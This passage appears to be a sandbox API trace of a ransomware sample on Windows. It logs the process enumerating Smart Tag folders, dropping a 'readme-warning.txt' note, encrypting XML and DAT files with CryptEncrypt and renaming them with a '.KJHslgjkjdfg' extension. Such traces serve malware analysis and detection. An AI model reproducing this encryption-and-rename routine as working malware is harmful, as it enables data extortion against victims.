lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.960] GetProcessHeap () returned 0x2ef0000 [0170.960] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.960] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.960] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.960] GetProcessHeap () returned 0x2ef0000 [0170.960] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0170.960] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\readme-warning.txt") returned 80 [0170.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.963] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0170.964] CloseHandle (hObject=0x114) returned 1 [0170.965] GetProcessHeap () returned 0x2ef0000 [0170.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.965] GetProcessHeap () returned 0x2ef0000 [0170.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0170.965] GetProcessHeap () returned 0x2ef0000 [0170.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.965] GetProcessHeap () returned 0x2ef0000 [0170.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.965] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0170.965] GetProcessHeap () returned 0x2ef0000 [0170.965] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0170.965] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LISTS", cAlternateFileName="")) returned 1 [0170.965] GetProcessHeap () returned 0x2ef0000 [0170.965] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0170.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0170.966] GetProcessHeap () returned 0x2ef0000 [0170.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0170.966] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.966] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0170.966] GetProcessHeap () returned 0x2ef0000 [0170.966] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f3e278 [0170.966] GetProcessHeap () returned 0x2ef0000 [0170.966] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x98) returned 0x2f170f8 [0170.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.967] GetProcessHeap () returned 0x2ef0000 [0170.967] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0170.967] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.967] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0170.967] GetProcessHeap () returned 0x2ef0000 [0170.967] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29a) returned 0x2f47728 [0170.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.967] GetProcessHeap () returned 0x2ef0000 [0170.967] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.967] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.967] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.967] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xa, lpOverlapped=0x0) returned 1 [0170.971] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.971] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.971] GetProcessHeap () returned 0x2ef0000 [0170.972] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.972] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.972] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.972] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.972] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.972] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.972] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.972] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.972] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.972] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.972] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.972] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.972] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x22d6, lpOverlapped=0x0) returned 1 [0170.973] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x22e0) returned 1 [0170.973] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.974] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x22e0, lpOverlapped=0x0) returned 1 [0170.974] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.974] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x23a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.974] SetEndOfFile (hFile=0x118) returned 1 [0170.976] GetProcessHeap () returned 0x2ef0000 [0170.976] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.976] GetProcessHeap () returned 0x2ef0000 [0170.976] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.kjhslgjkjdfg")) returned 1 [0170.976] CloseHandle (hObject=0x118) returned 1 [0170.977] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0170.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.977] GetProcessHeap () returned 0x2ef0000 [0170.977] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.977] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.977] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.977] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xc, lpOverlapped=0x0) returned 1 [0170.979] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.979] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.979] GetProcessHeap () returned 0x2ef0000 [0170.979] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.979] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.979] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.979] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.979] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.979] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.980] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.980] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.980] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.980] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.980] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.980] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.980] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x734, lpOverlapped=0x0) returned 1 [0170.980] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x740, dwBufLen=0x740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x740) returned 1 [0170.980] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.980] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x740, lpOverlapped=0x0) returned 1 [0170.981] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.981] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.981] SetEndOfFile (hFile=0x118) returned 1 [0170.986] GetProcessHeap () returned 0x2ef0000 [0170.986] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.986] GetProcessHeap () returned 0x2ef0000 [0170.986] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.kjhslgjkjdfg")) returned 1 [0170.999] CloseHandle (hObject=0x118) returned 1 [0170.999] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0170.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.013] GetProcessHeap () returned 0x2ef0000 [0171.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.013] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.013] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0171.014] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x7, lpOverlapped=0x0) returned 1 [0171.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0171.016] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.016] GetProcessHeap () returned 0x2ef0000 [0171.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.016] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0171.016] CryptDestroyKey (hKey=0x2f18348) returned 1 [0171.016] WriteFile (in: hFile=0x118, 